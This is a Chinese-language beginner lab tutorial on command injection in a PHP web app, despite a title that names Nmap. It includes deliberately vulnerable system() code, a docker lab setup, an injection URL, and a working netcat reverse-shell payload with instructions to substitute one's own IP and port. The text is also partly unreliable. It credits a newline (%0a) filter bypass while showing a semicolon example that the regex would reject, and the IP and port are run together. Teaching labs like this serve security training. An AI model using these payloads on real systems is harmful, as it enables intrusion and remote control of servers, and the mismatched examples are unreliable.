理解和利用 Nmap 中的命令注入漏洞

Beginner

介绍

在本实验中,你将学习命令注入漏洞(command injection vulnerabilities),这是 Web 应用程序中最常见的漏洞之一。实验提供了动手实践的机会,帮助你理解命令注入漏洞的原理及其利用技术。通过两个实际练习,你将学习如何识别和利用命令注入漏洞,了解通配符在结束命令中的使用,并探索绕过过滤器和提升权限的方法。

理解命令注入漏洞

在这一步中,我们将以简单且适合初学者的方式,探索命令注入漏洞的基础知识以及如何利用它们。

那么,什么是命令注入漏洞?当 Web 应用程序未能正确处理用户输入,并将其用于系统命令时,就会发生这种漏洞。这可能会让恶意用户在服务器上执行任意命令,且拥有与 Web 应用程序相同的权限。

让我们来看一段存在此漏洞的 PHP 代码:

<?php
$action = $_GET['cmd'];
echo "<pre>";
system($action);
echo "<pre/>";
?>

在这段代码中,system() 函数用于执行来自 URL 中 cmd 参数的命令。恶意用户可以通过在 cmd 参数中添加有害命令来利用这一点。

要成功利用此漏洞,你需要知道如何取消原始命令并添加更多命令。这可以通过使用命令分隔符来实现,例如 ;(分号)、&&(逻辑与)、|(管道)或 ||(逻辑或)。

利用命令注入漏洞

欢迎来到我们旅程的下一阶段!现在,我们将把所学知识付诸实践,并利用 Web 应用程序中的命令注入漏洞。

首先,让我们设置实验环境。请使用以下命令:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log'

让我们来看一下存在此漏洞的 PHP 代码:

<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
    die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>

在这段代码中,用户输入($_GET['ip'])通过正则表达式进行检查,以确保其格式为 IP 地址。如果输入有效,system() 函数会使用用户输入作为参数运行 ping 命令。

但如果我们想绕过这个过滤器并注入自己的命令呢?这时换行符 %0a 就派上用场了。它以 URL 编码格式使用。

例如,如果你想运行 uname -a 命令,可以使用以下 URL:

http://127.0.0.1:82/commandexec/example1.php?ip=127.0.0.1;uname -a

结果如下图所示:

命令注入结果

这个巧妙的技巧绕过了 IP 地址过滤器,并在 ping 命令之后立即执行了 uname -a 命令。这是一个如何利用知识识别和利用漏洞的实际示例。让我们继续我们的学习之旅吧!

权限提升与进一步利用

干得漂亮,你已经走到了这一步!一旦你成功利用了命令注入漏洞,就可以进一步提升你的操作水平。你可以尝试提升权限或在目标系统上进行更详细的侦察。

一种流行的技术是创建反向 shell 连接。这可以让你在目标系统上获得一个交互式 shell,你可以使用 netcat(nc)或 bash 等工具来实现这一点。

以下是一个使用 netcat 建立反向 shell 的示例(目标机器上必须安装 netcat):

http://127.0.0.1:82/commandexec/example1.php?ip=127.0.0.1;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%20127.0.0.1%205555%20%3E/tmp/f

反向 shell 命令的执行结果应如下图所示:

反向 shell

只需将第二个 127.0.0.15555 替换为你想要使用的 IP 地址和端口号即可。这就像填空一样简单!

此外,你还可以尝试在目标系统上查找敏感文件。这可能会为你提供进一步利用或权限提升的宝贵信息。这有点像在数字世界中扮演侦探的角色!

记住,熟能生巧。不断探索和学习,你很快就能成为这方面的专家!

总结

在本实验中,你学习了命令注入漏洞,这种漏洞发生在 Web 应用程序中用户输入未得到正确处理并被传递给系统命令时。你探索了如何通过注入恶意命令并利用 ;&&||| 等分隔符来关闭原始命令,从而利用这些漏洞。此外,你还练习了使用编码换行符等技术来绕过过滤器。最后,你了解了在利用命令注入漏洞后可能采取的下一步操作,例如建立反向 shell 或枚举敏感文件以进行进一步利用或权限提升。